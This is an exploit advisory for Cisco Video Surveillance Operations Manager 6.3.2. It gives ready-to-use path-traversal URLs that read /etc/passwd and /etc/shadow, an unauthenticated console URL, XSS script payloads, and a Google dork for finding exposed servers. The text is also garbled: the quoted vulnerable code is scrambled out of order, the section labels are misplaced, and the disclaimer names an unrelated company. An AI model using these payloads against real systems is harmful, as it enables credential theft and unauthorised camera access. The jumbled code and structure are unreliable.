# Exploit Title:Cisco Video Surveillance Operations Manager Multiple vulnerabilities
POC: http://serverip/vsom/index.php/"/title><script>alert("ciscoxss");</script>
# Google Dork: intitle:"Video Surveillance Operations Manager > Login"read_log.jsp and read_log.dep not validate the name and location of the log file , un authenticated remote attacker can perform this
# Date: 22 Feb 2013 reported to the vendor
# Exploit Author: Bassem | bassem.co
# Vendor Homepage: www.cisco.com
# Version: Version 6.3.2
# Tested on: Version 6.3.2
#1- The application is vulnerable to Local file inclusion
---------------------------------------------protected LinkedList getBwhttpdLog( String logName, String theOrder ) {
read_log.jsp:
/usr/BWhttpd/root/htdocs/BWT/utils/logs
from /usr/BWhttpd/logs/<%= logName %>
---------------------------------------------
---------------------------------------------
read_log.dep
<%!
String logPath = "/usr/BWhttpd/logs/";BufferedReader in = new BufferedReader(new FileReader(theLog));
String theLog = logPath + logName;
LinkedList resultList = new LinkedList();
try {
String theLine = "";while( (theLine = in.readLine()) != null ) { if( theOrder.indexOf("descending") > -1 ) { resultList.addFirst(theLine);
} else {resultList.addLast(theLine);
}select and display log not validate the log file names , If attacker pass /etc/passwd through the http post request system will display it as log file
}
-----------------------------------------------
POC:
http://serverip/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd
http://serverip/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/shadow
#####################################################################
#2- The application is vulnerable to local file inclusion
POC:#3 Cisco Video Surveillance Operations Manager Version 6.3.2 doesn't perform the proper authentication for the management and view console, Remote attacker can gain access to the system and view the attached cameras without authentication
http://serverip/monitor/logselect.php
#####################################################################
POC:The web application doesn't perform validation for the inputs/outputs for many of its pages so its vulnerable to XSS attacks
http://serverip/broadware.jsp
#####################################################################
#4 Application is vulnerable to XSS
POC: http://serverip/vsom/index.php/"/title><script>alert("ciscoxss");</script>
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information